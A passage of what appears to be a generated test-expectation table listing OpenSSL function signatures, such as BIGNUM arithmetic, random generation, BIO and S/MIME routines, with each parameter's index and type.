*,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 7 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 3 | const int[] | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 3 | const int[] | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 3 | const int[] | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 3 | const unsigned char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 4 | size_t | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 5 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 3 | const unsigned char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 4 | size_t | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 5 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 3 | const unsigned char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 4 | size_t | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 5 | const char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 6 | OSSL_LIB_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 7 | const char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 3 | int | +| (BIGNUM *,const BIGNUM *,const int[]) | | BN_GF2m_mod_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[]) | | BN_GF2m_mod_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[]) | | BN_GF2m_mod_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | int | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 2 | int | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 2 | int | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 2 | int | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 2 | unsigned int | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 2 | unsigned int | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 2 | unsigned int | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 0 | BIGNUM * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 1 | const unsigned long * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | int | +| (BIGNUM *,const unsigned long *,int) | | bn_set_words | 0 | BIGNUM * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_words | 1 | const unsigned long * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | int | +| (BIGNUM *,int) | | BN_clear_bit | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_clear_bit | 1 | int | +| (BIGNUM *,int) | | BN_mask_bits | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_mask_bits | 1 | int | +| (BIGNUM *,int) | | BN_set_bit | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_set_bit | 1 | int | +| (BIGNUM *,int) | | BN_set_flags | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_set_flags | 1 | int | +| (BIGNUM *,int) | | bn_expand2 | 0 | BIGNUM * | +| (BIGNUM *,int) | | bn_expand2 | 1 | int | +| (BIGNUM *,int) | | bn_wexpand | 0 | BIGNUM * | +| (BIGNUM *,int) | | bn_wexpand | 1 | int | +| (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 0 | BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 2 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 3 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 4 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 5 | ..(*)(..) | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 6 | void * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 0 | BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 2 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 3 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 4 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 5 | BN_GENCB * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 0 | BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 2 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 3 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 4 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 5 | BN_GENCB * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 6 | BN_CTX * | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 3 | int | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 3 | int | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 3 | int | +| (BIGNUM *,int,int,int) | | BN_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_rand | 3 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 0 | BIGNUM * | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 1 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 2 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 3 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 4 | unsigned int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 5 | BN_CTX * | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 0 | BIGNUM * | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 1 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 2 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 3 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 4 | unsigned int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 5 | BN_CTX * | +| (BIGNUM *,unsigned long) | | BN_add_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_add_word | 1 | unsigned long | +| (BIGNUM *,unsigned long) | | BN_div_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_div_word | 1 | unsigned long | +| (BIGNUM *,unsigned long) | | BN_set_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_set_word | 1 | unsigned long | +| (BIGNUM *,unsigned long) | | BN_sub_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_sub_word | 1 | unsigned long | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 1 | unsigned long | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 2 | const BIGNUM * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 3 | const BIGNUM * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 4 | BN_CTX * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 5 | BN_MONT_CTX * | +| (BIO *) | | BIO_dup_chain | 0 | BIO * | +| (BIO *) | | BIO_get_data | 0 | BIO * | +| (BIO *) | | BIO_get_init | 0 | BIO * | +| (BIO *) | | BIO_get_retry_reason | 0 | BIO * | +| (BIO *) | | BIO_get_shutdown | 0 | BIO * | +| (BIO *) | | BIO_next | 0 | BIO * | +| (BIO *) | | BIO_number_read | 0 | BIO * | +| (BIO *) | | BIO_number_written | 0 | BIO * | +| (BIO *) | | BIO_pop | 0 | BIO * | +| (BIO *) | | BIO_ssl_shutdown | 0 | BIO * | +| (BIO *) | | ossl_core_bio_new_from_bio | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 4 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 4 | const char * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 5 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 4 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 5 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 6 | stack_st_X509_ALGOR * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 7 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 4 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 5 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 6 | stack_st_X509_ALGOR * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 7 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 8 | OSSL_LIB_CTX * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 9 | const char * | +| (BIO *,ASN1_VALUE *,const ASN1_ITEM *) | | BIO_new_NDEF | 0 | BIO * | +| (BIO *,ASN1_VALUE *,const ASN1_ITEM *) | | BIO_new_NDEF | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,const ASN1_ITEM *) | | BIO_new_NDEF | 2 | const ASN1_ITEM * | +| (BIO *,BIO *) | | BIO_push | 0 | BIO * | +| (BIO *,BIO *) | | BIO_push | 1 | BIO * | +| (BIO *,BIO *) | | BIO_set_next | 0 | BIO * | +| (BIO *,BIO *) | | BIO_set_next | 1 | BIO * | +| (BIO *,BIO *) | | BIO_ssl_copy_session_id | 0 | BIO * | +| (BIO *,BIO *) | | BIO_ssl_copy_session_id | 1 | BIO * | +| (BIO *,BIO **) | | SMIME_read_CMS | 0 | BIO * | +| (BIO *,BIO **) | | SMIME_read_CMS | 1 | BIO ** | +| (BIO *,BIO **) | | SMIME_read_PKCS7 | 0 | BIO * | +| (BIO *,BIO **) | | SMIME_read_PKCS7 | 1 | BIO ** | +| (BIO *,BIO **,PKCS7 **) | | SMIME_read_PKCS7_ex | 0 | BIO * | +| (BIO *,BIO **,PKCS7 **) | | SMIME_read_PKCS7_ex | 1 | BIO ** | +| (BIO *,BIO **,PKCS7 **) | | SMIME_read_PKCS7_ex | 2 | PKCS7 ** | +| (BIO *,BIO **,const ASN1_ITEM *) | | SMIME_read_ASN1 | 0 | BIO * | +| (BIO *,BIO **,const ASN1_ITEM *) | | SMIME_read_ASN1 | 1 | BIO ** | +| (BIO *,BIO **,const ASN1_ITEM *) | | SMIME_read_ASN1 | 2 | const ASN1_ITEM * | +| (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 0 | BIO * | +| (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 1 | BIO * | +| (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | int | +| (BIO *,BIO *,int) | | SMIME_crlf_copy | 0 | BIO * | +| (BIO *,BIO *,int) | | SMIME_crlf_copy | 1 | BIO * | +| (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | int | +| (BIO *,BIO_callback_fn) | | BIO_set_callback | 0 | BIO * | +| (BIO *,BIO_callback_fn) | | BIO_set_callback | 1 | BIO_callback_fn | +| (BIO *,BIO_callback_fn_ex) | | BIO_set_callback_ex | 0 | BIO * | +| (BIO *,BIO_callback_fn_ex) | | BIO_set_callback_ex | 1 | BIO_callback_fn_ex | +| (BIO *,CMS_ContentInfo *) | | BIO_new_CMS | 0 | BIO * | +| (BIO *,CMS_ContentInfo *) | | BIO_new_CMS | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *) | | i2d_CMS_bio | 0 | BIO * | +| (BIO *,CMS_ContentInfo *) | | i2d_CMS_bio | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo **) | | d2i_CMS_bio | 0 | BIO * | +| (BIO *,CMS_ContentInfo **) | | d2i_CMS_bio | 1 | CMS_ContentInfo ** | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 0 | BIO * | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 1 | 